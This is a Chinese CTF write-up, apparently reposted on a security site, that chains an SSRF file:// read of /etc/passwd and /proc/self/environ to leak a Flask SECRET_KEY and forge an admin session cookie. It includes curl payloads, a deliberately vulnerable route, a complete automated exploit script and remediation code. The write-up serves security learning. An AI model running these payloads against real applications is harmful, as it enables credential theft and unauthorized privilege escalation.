AI渗透测试--从SSRF读取密钥到权限提升的完整链路"

admin 2026-10-20 18:08:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- 从 SSRF 读取密钥到权限提升的完整链路

原创

syuhsao
syuhsao

网络安全者

2026年6月18日 10:08
河南

在小说阅读器读本章

去阅读


一、前言

本文记录一道 CTF Web 题的完整解题过程,涉及两个核心漏洞的组合利用:

  • • SSRF(服务端请求伪造):通过 /read 端点读取服务器本地文件
  • • Flask Session 伪造:利用泄露的 SECRET_KEY 重新签名 Session,实现身份提升

⚠️ 本文仅用于 CTF 学习与安全研究,所有操作均在授权靶机环境下进行。


二、漏洞原理

3.1 Flask Session 机制

Flask 默认使用客户端 Session,Session 数据以 Base64 编码后用 SECRET_KEY 进行 HMAC 签名,存储在 Cookie 中。

Cookie 格式:<base64_payload>.<timestamp>.<hmac_signature>

如果 SECRET_KEY 泄露,攻击者可以:

    1. 解码现有 Session
    1. 篡改 payload(如将 guest 改为 admin)
    1. 用泄露的密钥重新签名
    1. 发送伪造的 Session Cookie

3.2 SSRF 读取本地文件

应用提供了一个 /read?url= 接口用于抓取网页,但没有限制 URL 协议。攻击者可以使用 file:// 协议读取服务器本地文件,从而获取应用源码或环境变量中的敏感配置。


三、侦察阶段

向目标发送请求,观察响应头:

curl -sI \"https://[TARGET_HOST]/\"

响应中包含:

Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]; HttpOnly; Path=/

使用 flask-unsign 工具解码:

pip install flask-unsign

flask-unsign --decode --cookie \"eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]\"

输出结果:

{'username': 'guest'}

Session 中存储了用户名字段,目标是将其伪造为 admin。


四、漏洞利用

5.1 验证 SSRF 漏洞

先测试能否读取公网资源,验证功能正常:

curl -s \"https://[TARGET_HOST]/read?url=https://baidu.com\"
# 返回百度首页 HTML,说明功能可用

然后尝试 file:// 协议读取本地文件:

curl -s \"https://[TARGET_HOST]/read?url=file:///etc/passwd\"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

SSRF 漏洞确认存在,file:// 协议未被过滤。

5.2 读取进程环境变量

Flask 应用的 SECRET_KEY 通常通过环境变量注入,读取 /proc/self/environ:

curl -s \"https://[TARGET_HOST]/read?url=file:///proc/self/environ\"
HOSTNAME=[CONTAINER_ID]
PATH=/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_KEY=[REDACTED]
FLASK_APP=app.py
...

成功获取到 SECRET_KEY。

5.3 尝试读取应用源码

作为补充验证,也可以直接读取 Flask 应用源文件:

curl -s \"https://[TARGET_HOST]/read?url=file:///app/app.py\"

典型的存在漏洞的 /read 路由实现如下(复现参考):

import requests
from flask import Flask, request, session, redirect

app = Flask(__name__)
app.secret_key = \"[REDACTED]\"# 硬编码或从环境变量读取

@app.route('/read')
defread():
    url = request.args.get('url', '')
    # 漏洞点:未对 url 参数做协议白名单过滤
    resp = requests.get(url)
    return resp.text

@app.route('/')
defindex():
    if session.get('username') != 'admin':
        session['username'] = 'guest'
    return '...'

关键问题:requests.get(url) 支持 file:// 协议(依赖版本),且无协议白名单校验。

获取 SECRET_KEY 后,用 flask-unsign 重新签名:

# 伪造 admin 身份的 Session
flask-unsign --sign \\
  --cookie \"{'username': 'admin'}\" \\
  --secret '[REDACTED_SECRET_KEY]'

生成新的 Cookie:

eyJ1c2VybmFtZSI6ImFkbWluIn0.[NEW_TIMESTAMP].[NEW_SIGNATURE]

也可以用 Python 手动实现,便于理解原理:

from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface

classMockApp:
    secret_key = \"[REDACTED_SECRET_KEY]\"
    config = {}

# 序列化器
app = MockApp()
s = SecureCookieSessionInterface()
serializer = s.get_signing_serializer(app)

# 伪造 payload 并签名
forged = serializer.dumps({'username': 'admin'})
print(f\"[+] Forged Cookie: {forged}\")

# 验证解码
decoded = serializer.loads(forged, max_age=None)
print(f\"[+] Decoded: {decoded}\")

输出:

[+] Forged Cookie: eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]
[+] Decoded: {'username': 'admin'}

携带伪造的 Session Cookie 发送请求:

curl -s \"https://[TARGET_HOST]/\" \\
  -H \"Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]\"

服务端验证身份通过,返回 flag:

ctfshow{[REDACTED_FLAG]}

五、完整利用脚本

#!/usr/bin/env python3
\"\"\"
Flask Session 伪造 + SSRF 利用脚本
用途:CTF 学习 / 安全研究
环境:授权靶机
\"\"\"

import requests
from flask.sessions import SecureCookieSessionInterface

TARGET = \"https://[TARGET_HOST]\"

classMockApp:
    \"\"\"模拟 Flask app,仅用于 Session 签名\"\"\"
    def__init__(self, secret_key):
        self.secret_key = secret_key
        self.config = {}

defssrf_read(url: str) -> str:
    \"\"\"通过 SSRF 读取任意 URL / 本地文件\"\"\"
    resp = requests.get(f\"{TARGET}/read\", params={\"url\": url}, timeout=10)
    return resp.text

defextract_secret_key(environ_content: str) -> str:
    \"\"\"从 /proc/self/environ 内容中提取 SECRET_KEY\"\"\"
    for item in environ_content.split('\\x00'):
        if item.startswith('SECRET_KEY='):
            return item.split('=', 1)[1]
    return\"\"

defforge_session(secret_key: str, payload: dict) -> str:
    \"\"\"用指定 SECRET_KEY 伪造并签名 Flask Session\"\"\"
    app = MockApp(secret_key)
    s = SecureCookieSessionInterface()
    serializer = s.get_signing_serializer(app)
    return serializer.dumps(payload)

defmain():
    # Step 1: 验证 SSRF
    print(\"[*] Step 1: 测试 SSRF ...\")
    passwd = ssrf_read(\"file:///etc/passwd\")
    if\"root:\"in passwd:
        print(\"[+] SSRF 可用,成功读取 /etc/passwd\")
    else:
        print(\"[-] SSRF 不可用,退出\")
        return

    # Step 2: 读取环境变量获取 SECRET_KEY
    print(\"[*] Step 2: 读取 /proc/self/environ ...\")
    environ = ssrf_read(\"file:///proc/self/environ\")
    secret = extract_secret_key(environ)
    ifnot secret:
        print(\"[-] 未找到 SECRET_KEY,尝试读取源码 ...\")
        # 备选:读取 app.py
        source = ssrf_read(\"file:///app/app.py\")
        print(source[:500])
        return
    print(f\"[+] SECRET_KEY 获取成功(已脱敏): {'*' * len(secret)}\")

    # Step 3: 伪造 Session
    print(\"[*] Step 3: 伪造 admin Session ...\")
    forged_cookie = forge_session(secret, {'username': 'admin'})
    print(f\"[+] 伪造 Cookie 生成成功\")

    # Step 4: 使用伪造 Cookie 访问
    print(\"[*] Step 4: 使用伪造 Session 访问 / ...\")
    resp = requests.get(
        f\"{TARGET}/\",
        cookies={\"session\": forged_cookie},
        timeout=10
    )
    print(f\"[+] 响应内容: {resp.text}\")

    # 尝试查找 flag
    if\"ctfshow{\"in resp.text:
        import re
        flags = re.findall(r'ctfshow\\{[^}]+\\}', resp.text)
        for f in flags:
            print(f\"[!] FLAG: {f}\")

if __name__ == \"__main__\":
    main()

六、漏洞修复建议

漏洞 修复方案
SSRF 使用协议白名单(仅允许 https://),禁止 file://、gopher:// 等;校验目标 IP 不在内网段
SECRET\_KEY 泄露 使用强随机密钥(建议 32 字节以上),不通过环境变量明文传递,避免在源码中硬编码
Session 信任 对敏感操作增加服务端 Session 存储(如 Redis),不完全依赖客户端 Cookie 中的数据

安全的 SSRF 防护示例:

from urllib.parse import urlparse

ALLOWED_SCHEMES = {\"https\", \"http\"}
BLOCKED_HOSTS = {\"localhost\", \"127.0.0.1\", \"0.0.0.0\", \"169.254.169.254\"}

def safe_fetch(url: str) -> str:
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError(f\"不允许的协议: {parsed.scheme}\")
    if parsed.hostname in BLOCKED_HOSTS:
        raise ValueError(f\"不允许访问内网地址\")
    # 还需检查 DNS 解析后的 IP 是否为内网地址(TOCTOU 防护)
    resp = requests.get(url, timeout=5, allow_redirects=False)
    return resp.text

七、总结

这道题的核心是两个漏洞的链式利用:SSRF 作为信息收集手段,最终目的是获取 Flask 的 SECRET_KEY;拿到密钥后,Flask Session 的客户端签名机制就形同虚设,可以任意伪造身份。

攻击链路:/read 未过滤 file:// → 读取 /proc/self/environ → 获取 SECRET_KEY → 伪造 admin Session → 获取 Flag



    AI渗透测试--从SSRF读取密钥到权限提升的完整链路" 网络安全文章

    AI渗透测试--从SSRF读取密钥到权限提升的完整链路"

    本文详细记录了CTFWeb题目中利用SSRF漏洞读取服务器本地文件获取Flask应用的SECRET\\_KEY,并通过伪造Session实现从guest到admin权限提升的完整渗透测试流程。文章包含漏洞原理分析、实操步骤演示(环境侦察、SSRF验证、密钥提取、Session伪造)以及完整的Python自动化利用脚本,最后提供了修复建议包括协议白名单限制和Session存储安全加固。
    红蓝对抗深度透视:Weblogic反序列化回显链路博弈与隐匿实战" 网络安全文章

    红蓝对抗深度透视:Weblogic反序列化回显链路博弈与隐匿实战"

    该文档深入探讨Weblogic反序列化漏洞在红蓝对抗中的实战应用,重点分析蓝队四层防护机制(流量检测、解码特征、文件行为、JVM内存监控)及对应绕过策略。针对不同防护级别提供五种回显方案,包括分段异或文件落地、内存回显等改造代码,强调版本适配与隐蔽性平衡。文档基于一线护网经验,提供可操作的载荷改造方法和实战避坑指南。
    评论:0   参与:  0